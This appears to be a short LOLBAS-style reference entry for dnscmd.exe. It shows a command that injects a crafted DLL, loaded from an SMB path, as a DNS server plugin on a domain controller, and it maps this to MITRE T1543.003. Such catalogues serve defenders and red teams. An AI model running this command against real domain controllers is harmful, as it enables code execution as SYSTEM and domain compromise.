Dnscmd.exe

A command-line interface for managing DNS servers

Execute

Remotely inject dll to dns server

dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}

Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details. — MITRE: T1543.003 — Privileges: DNS admin